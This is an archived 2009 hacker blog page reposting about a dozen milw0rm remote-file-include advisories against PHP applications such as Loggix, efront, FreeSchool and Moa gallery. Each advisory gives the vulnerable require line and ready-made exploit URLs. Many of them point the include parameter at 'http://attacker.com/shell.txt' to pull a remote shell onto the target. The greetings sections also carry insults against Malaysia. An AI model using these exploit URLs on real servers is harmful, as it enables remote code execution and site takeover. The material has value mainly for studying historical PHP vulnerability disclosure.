r00t cr4wl3r: September 2009

Senin, 21 September 2009

Loggix Project <= 9.4.5 Multiple Remote File Include Vulnerability

#######################[In The Name Of Allah]##########################
#Loggix Project <= 9.4.5 Multiple Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/loggix/files/
#Author               :  cr4wl3r
#Contact              :  cr4wl3r[4t]linuxmail[dot]org
#Location             :  Gorontalo - INDONESIA
#Blog                 :  http://sh3ll4u.blogspot.com
#Dork                 :  No DoRk f0R ScRipT KiDDieS
########################################################################
#file :
#  Calendar.php
#  Comment.php
#  Rss.php
#  Trackback.php
#  LM_Downloads.php
########################################################################
#Bugs :
#  require_once $pathToIndex . '/lib/Loggix/Module.php';
########################################################################
#3xplo!t :
#http://target.com/[path]/lib/Loggix/Module/Calendar.php?pathToIndex=http://attacker.com/shell.txt???
#http://target.com/[path]/lib/Loggix/Module/Comment.php?pathToIndex=http://attacker.com/shell.txt???
#http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex=http://attacker.com/shell.txt???
#http://target.com/[path]/lib/Loggix/Module/Trackback.php?pathToIndex=http://attacker.com/shell.txt??? 
#http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToIndex=http://attacker.com/shell.txt???
########################################################################
#Greetz          : MyMom [alm]
#Special Thanks  : str0ke, All MusLim HacKers
#Thanks 2        : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral, s4va,
#                  mywisdom, wendys, cyberpeace, agenr@t, basix, nTc, angky.tatoki, funky_sensey, exnome,
#                  aRiee, Romy.Chairul, Mr.C, Mr.Crossbeam, noQen, CyberSufi, untouch, g4pt3k, chawanua,
#                  d3vilnet, donyskaynet, panteto, MaRloN, Dew0
########################################################################
# F0r All MusLim In tHe W0rlD :
# SelaMat IduL FitRi 1 SyaWaL 1430H
# Takabbalallah Huminnawaminkum Minalaidin Walfaizin
########################################################################
#Note : No fuCk, JusT PeaCe
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
###########################[VIVA ISLAM]#################################

# milw0rm.com [2009-09-21]

ProdLer <= 2.0 Remote File Include Vulnerability

#######################[In The Name Of Allah]##########################
#ProdLer <= 2.0 Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/prodler/files/
#Author               :  cr4wl3r
#Contact              :  cr4wl3r[4t]linuxmail[dot]org
#Location             :  Gorontalo - INDONESIA
#Blog                 :  http://sh3ll4u.blogspot.com
#Dork                 :  No DoRk f0R ScRipT KiDDieS
########################################################################
#file :
#  prodler.class.php
# line 4 require_once $sPath.'include/variable.class.php';
########################################################################
#3xplo!t :
#http://target.com/[path]/include/prodler.class.php?sPath=http://attacker.com/shell.txt??? 
########################################################################
#Greetz          : MyMom [alm]
#Special Thanks  : str0ke, All MusLim HacKers
#Thanks 2        : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral, s4va,
#                  mywisdom, wendys, cyberpeace, agenr@t, basix, nTc, angky.tatoki, funky_sensey, exnome,
#                  aRiee, Romy.Chairul, Mr.C, Mr.Crossbeam, noQen, CyberSufi, untouch, g4pt3k, chawanua,
#                  d3vilnet, donyskaynet, panteto, MaRloN, Dew0
########################################################################
# F0r All MusLim In tHe W0rlD :
# SelaMat IduL FitRi 1 SyaWaL 1430H
# Takabbalallah Huminnawaminkum Minalaidin Walfaizin
########################################################################
#Note : No fuCk, JusT PeaCe
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
###########################[VIVA ISLAM]#################################

# milw0rm.com [2009-09-21]

Sabtu, 19 September 2009

PointComma <= 3.8b2 Remote File Include Vulnerability

#######################[In The Name Of Allah]##########################
#PointComma <= 3.8b2 Remote File Include Vulnerability
#Download Script      :  http://nchc.dl.sourceforge.net/project/pointcomma/pointcomma/
#Author               :  cr4wl3r
#Contact              :  cr4wl3r[4t]linuxmail[dot]org
#Location             :  Gorontalo - INDONESIA
#Blog                 :  http://sh3ll4u.blogspot.com
#Dork                 :  No DoRk f0R ScRipT KiDDieS
########################################################################
#file :
#  pctemplate.php
# line 14 require($pcConfig['smartyPath'].'Smarty.class.php');
########################################################################
#3xplo!t :
#http://target.com/[path]/includes/classes/pctemplate.php?pcConfig[smartyPath]=http://attacker.com/shell.txt??? 
########################################################################
#Greetz          : MyMom [alm]
#Special Thanks  : str0ke, All MusLim HacKers
#Thanks 2        : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral, s4va,
#                  mywisdom, wendys, cyberpeace, agenr@t, basix, nTc, angky.tatoki, funky_sensey, exnome,
#                  aRiee, Romy.Chairul, Mr.C, Mr.Crossbeam, noQen, CyberSufi, untouch, g4pt3k, chawanua,
#                  d3vilnet, donyskaynet, panteto, MaRloN, Dew0
########################################################################
# F0r All MusLim In tHe W0rlD :
# SelaMat IduL FitRi 1 SyaWaL 1430H
# Takabbalallah Huminnawaminkum Minalaidin Walfaizin
########################################################################
#Note : No fuCk, JusT PeaCe
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
###########################[VIVA ISLAM]#################################

Public Media Manager <= 1.3 Remote File Include Vulnerability

#######################[In The Name Of Allah]##########################
#Public Media Manager <= 1.3 Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/pmm-cms/files/
#Author               :  cr4wl3r
#Contact              :  cr4wl3r[4t]linuxmail[dot]org
#Location             :  Gorontalo - INDONESIA
#Blog                 :  http://sh3ll4u.blogspot.com
#Dork                 :  No DoRk f0R ScRipT KiDDieS
########################################################################
#file :
#  calmenu.php
# line 4 
########################################################################
#3xplo!t :
#http://target.com/[path]/comcal/calmenu.php?forms_dir=http://attacker.com/shell.txt??? 
########################################################################
#Greetz          : MyMom [alm]
#Special Thanks  : str0ke, All MusLim HacKers
#Thanks 2        : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral, s4va,
#                  mywisdom, wendys, cyberpeace, agenr@t, basix, nTc, angky.tatoki, funky_sensey, exnome,
#                  aRiee, Romy.Chairul, Mr.C, Mr.Crossbeam, noQen, CyberSufi, untouch, g4pt3k, chawanua,
#                  d3vilnet, donyskaynet, panteto, MaRloN, Dew0
########################################################################
# F0r All MusLim In tHe W0rlD :
# SelaMat IduL FitRi 1 SyaWaL 1430H
# Takabbalallah Huminnawaminkum Minalaidin Walfaizin
########################################################################
#Note : No fuCk, JusT PeaCe
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
###########################[VIVA ISLAM]#################################

Kamis, 17 September 2009

phpPollScript <= 1.3 Remote File Include Vulnerability

########################################################################
#phpPollScript <= 1.3 Remote File Include Vulnerability
#Download Script      :  http://download.tomex.org/phpPollScriptv13b.zip
#Author               :  cr4wl3r
#Contact              :  cr4wl3r[4t]linuxmail[dot]org
#Location             :  Gorontalo - INDONESIA
########################################################################
#file :
#  init.poll.php
# line 2 $inc_path = dirname($include_class);
# line 3 require ($inc_path."/voting.poll.php");
########################################################################
#3xplo!t :
#http://target.com/[path]/php/init.poll.php?include_class=http://attacker.com/shell.txt/test/
########################################################################
#Greetz        : MyMom [alm]
#Thanks 2      : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
########################################################################

# milw0rm.com [2009-09-16]

Rabu, 16 September 2009

efront <= 3.5.4 Remote File Include Vulnerability

########################################################################
#efront <= 3.5.4 Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/efrontlearning/files/
#Author               :  cr4wl3r
#Contact              :  cr4wl3r[4t]linuxmail[dot]org
#Location             :  Gorontalo - INDONESIA
########################################################################
#file :
#  database.php
#line 15 require_once($path.'adodb/adodb.inc.php');
########################################################################
#3xplo!t :
#http://target.com/[path]/libraries/database.php?path=http://attacker.com/shell.txt??? 
########################################################################
#Greetz        : MyMom [alm]
#Thanks 2      : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
########################################################################

# milw0rm.com [2009-09-15]

FreeSchool <= 1.1.0 Mutiple Remote File Include Vulnerability

######################################################################
#[x] FreeSchool <= 1.1.0  Mutiple Remote File Include Vulnerability                      
#[!] Download Script      :  http://sourceforge.net/projects/freeschool/files/                         
#[!] Author               :  cr4wl3r                                      
#[!] Contact              :  cr4wl3r[4t]linuxmail[dot]org                 
#[!] Location             :  Gorontalo - INDONESIA                        
#[!] Dork                 :  "FuCk y0u MaLaYsia"      
######################################################################

[x] 3xplo!t :                                                            
                                                                                
http://localhost/[path]/biblioteca/bib_form.php?CLASSPATH=[AvriLhea]    
http://localhost/[path]/biblioteca/bib_pldetails.php?CLASSPATH=[AvriLhea]       
http://localhost/[path]/biblioteca/bib_plform.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/bib_plsearchc.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/bib_plsearchs.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/bib_save.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/bib_searchc.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/bib_searchs.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/edi_form.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/edi_save.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/gen_form.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/gen_save.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/lin_form.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/lin_save.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/luo_form.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/luo_save.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/sog_form.php?CLASSPATH=[AvriLhea]               
http://localhost/[path]/biblioteca/sog_save.php?CLASSPATH=[AvriLhea]
http://localhost/[path]/calendario/cal_insert.php?CLASSPATH=[AvriLhea]                                                               
http://localhost/[path]/calendario/cal_save.php?CLASSPATH=[AvriLhea]
http://localhost/[path]/calendario/cal_saveactivity.php?CLASSPATH=[AvriLhea]
http://localhost/[path]/circolari/cir_save.php?CLASSPATH=[AvriLhea]                                                               
http://localhost/[path]/modulistica/mdl_save.php?CLASSPATH=[AvriLhea]

######################################################################
#[!] Greetz : MyMom [alm] 
#                                                                       
#[!] Special Thanks : str0ke, google, sourceforge, All MusLiM HacKers 
#
#[!] Thanks 2 : xoron, opt!x hacker, irvian, cyberlog
#
#[!] AlfaNet Cr3w GoRonTaLo : FaHry PunKs, RhyA HaMim, BoBy C00l, UyaN, ArYa.TaMa
#
#[!] My BiG BozZ MinJo.B0rj0e (YanG PunYa SepaRuH KaMpuNg Bugis, JaNgan LuPa Am-Am) :D
#
#[!] FuCk MaLaYsia, I HaTe MaLaYsia, h0w Ab0uT y0u???
#
#[!] sekuritionline.net | manadocoding.net                                         
######################################################################

# milw0rm.com [2009-09-03]

PHPope <= 1.0.0 Multiple Remote File Include Vulnerability

######################################################################
#[x] PHPope <= 1.0.0 Multiple Remote File Include Vulnerability                      
#[!] Download Script      :  http://sourceforge.net/projects/phpope/files/                         
#[!] Author               :  cr4wl3r                                      
#[!] Contact              :  cr4wl3r[4t]linuxmail[dot]org                 
#[!] Location             :  Gorontalo - INDONESIA                        
#[!] Dork                 :  "FuCk y0u MaLaYsia"      
######################################################################

[x] 3xplo!t :                                                            
                                                                                
http://localhost/[path]/plugins/address/admin/index.php?GLOBALS[config][dir][plugins]=[AvriLhea]    
http://localhost/[path]/plugins/im/compose.php?GLOBALS[config][dir][functions]=[AvriLhea]
http://localhost/[path]/plugins/cssedit/admin/index.php?GLOBALS[config][dir][classes]=[AvriLhea]


and many others

######################################################################
#[!] Greetz : MyMom [alm] 
#                                                                       
#[!] Special Thanks : str0ke, google, sourceforge, All MusLiM HacKers 
#
#[!] Thanks 2 : xoron, opt!x hacker, irvian, cyberlog
#
#[!] AlfaNet Cr3w GoRonTaLo : FaHry PunKs, RhyA HaMim, BoBy C00l, UyaN, ArYa.TaMa
#
#[!] My BiG BozZ MinJo.B0rj0e (YanG PunYa SepaRuH KaMpuNg Bugis, JaNgan LuPa Am-Am) :D
#
#[!] FuCk MaLaYsia, I HaTe MaLaYsia, h0w Ab0uT y0u???
#
#[!] sekuritionline.net | manadocoding.net                                         
######################################################################

# milw0rm.com [2009-09-03]

Moa gallery <= 1.2.0 Multiple Remote File Include Vulnerability

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
######################################################################
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
**********************************************************************
######################################################################
#[x] Moa gallery <= 1.2.0 Multiple Remote File Include Vulnerability                      
#[!] Download             :  http://sourceforge.net/projects/moagallery/files/                         
#[!] Author               :  cr4wl3r                                      
#[!] Contact              :  cr4wl3r[4t]linuxmail[dot]org                 
#[!] Location             :  Gorontalo - INDONESIA                        
#[!] Dork                 :  "Tanyakan Pada Rumput Yang Bergoyang"        
######################################################################

[x] 3xplo!t :                                                            
                                                                                
http://localhost/[path]/sources/_error_funcs.php?MOA_PATH=[AvriLhea]
http://localhost/[path]/sources/_integrity_funcs.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/_template_component_admin.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/_template_component_gallery.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/_template_parser.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/mod_gallery_funcs.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/mod_image_funcs.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/mod_tag_funcs.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/mod_tag_view.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/mod_upgrade_funcs.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/mod_user_funcs.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/page_admin.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/page_gallery_add.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/page_gallery_view.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/page_image_add.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/page_image_view_full.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/page_login.php?MOA_PATH=[AvriLhea]         
http://localhost/[path]/sources/page_sitemap.php?MOA_PATH=[AvriLhea]         

######################################################################
#[!] Greetz : MyMom [alm] 
#                                                                       
#[!] Special Thanks : str0ke, google, All MusLiM HacKers 
#
#[!] Thanks 2 : Irvian, xoron
#
#[!] SeLamaT MenuNaiKan IbaDah PuaSa RaMadHan 1430H                                             
######################################################################
**********************************************************************
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
######################################################################
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

# milw0rm.com [2009-08-26]

Autonomous LAN party <= 0.98.3 Remote File Include Vulnerability

============================================================================================================
[x] Autonomous LAN party <= 0.98.3 Remote File Include Vulnerability                                      ||
[!] Download Script      :                                                                                ||
http://sourceforge.net/projects/alp/files/alp/alp_0-98-3_15oct2006/alp_0-98-3_15oct2006.zip/download   ||
[!] Author               :  cr4wl3r                                                               ||
[!] Contact              :  cr4wl3r[4t]linuxmail[dot]org                                          ||
[!] SiTe                 :  |www.sekuritionline.net| |www.manadocoding.net|                  ||
[!] Location             :  Gorontalo - INDONESIA                                                 ||
[!] Dork                 :  "Tanyakan Pada Rumput Yang Bergoyang"                                 ||
============================================================================================================
============================================================================================================
[x] 3xplo!t :                                                                                     ||
                                                                                                 ||
http://localhost/[path]/include/_bot.php?master[currentskin]=[AvriLhea]                                   ||
                                                                                                         ||
============================================================================================================
============================================================================================================
[!] Greetz : MyMom [alm]                                                                                  ||
                                                                                           ||
[!] Special Thanks : str0ke, All MusLiM HacKers                                                           ||
                                                                                                 ||
[!] Shoutz : Mr_Athan, CyberPeaCe, AgenR@t, AngKy.Tat0ki, basix, EA.ngel, zvtral,                         ||
            bl4ck.3n91n3, d3vilnet, venom.injector,Funky.Sensey, untouch,                                ||
            exnome, Himoe, kec0a, Mr.C, Mr.crosbeam, Ri55ky, v3lix, Hmei7,                               ||
            CyberLog, g4pt3k, mywisdom, wendys, y0ps.512mb, Is.bl4nk, iY0ng,                             ||
            Anjas.chu'x, Jams.chu'X, Minj0.b0rj0e, exnome, dbanie, Ijan,                                 ||
            SunKetzu AbbaSSia, ty0                                                                       ||   
                                                 ||
============================================================================================================                                                 ||
[!] Thanks To MneR HacKer UniVerSiTas IcHsaN GoRonTaLo :                                                  ||
                                                                                                         ||
   Adi Saputera Abd Karim S.Kom, Sudirman Melangi S.Kom, Abd Manan ST, All StAF FaK FiKoM UniSaN         ||
   Dan SeLuRuh WisuDawan Universitas Ichsan Gorontalo Angkatan 2009                                      ||
   FroM : cr4wl3r a.k.a Ramdan Yantu S.Kom :lol:                                                         ||
                                                                                                         ||
============================================================================================================
[!]  To My HoNeY Lia Aprilia Hasan ---> BiarPun KaMu Lagi MaraH Tetap SaJa Kelihatan CanTik  ;)             ||
                                                                                                         ||
============================================================================================================

# milw0rm.com [2009-08-18]

projectbutler <= 1.5.0 (offset) RFI Vulnerability

#projectbutler - 1.5.0 (offset) RFI Vulnerability

#Author: cr4wl3r

#Contact: cr4wl3r[4t]linuxmail[dot]org

#Download: http://sourceforge.net/projects/projectbutler/files/projectbutler/1.5.0/ProjectButler.tar.gz

#Vuln : require_once($offset."class.project.inc");

#PoC :

http://localhost/[path]/pda/pda_projects.php?offset=[AvriLhea]

#Greetz : MyMom [alm]

#Special To : |CyberSufi| |CyberPeaCe| |AgenR@t| |Ea.ngel| |bl4ck.3n91n3| |Hmei7| |Dew0| |Anjas.chu'X| |Ridwan|             

             |Funky_sensey| |zvtral| |Is.bl4nk| |Y0ps.512mb| |Clif| |HaKu Frisca| |All cRew GoRonTaLo UnDeRgounD|
             |SunKetzu AbbaSSia| |iY0ng| |MaTr0| |deviln3t| |RyO| RaIs R0yaS| |Vel!x| |AnaK2 BolMonG| |MarLoN|

# milw0rm.com [2009-08-03]

Senin, 21 September 2009

Sabtu, 19 September 2009

Kamis, 17 September 2009

Rabu, 16 September 2009

Soundtrack

r00t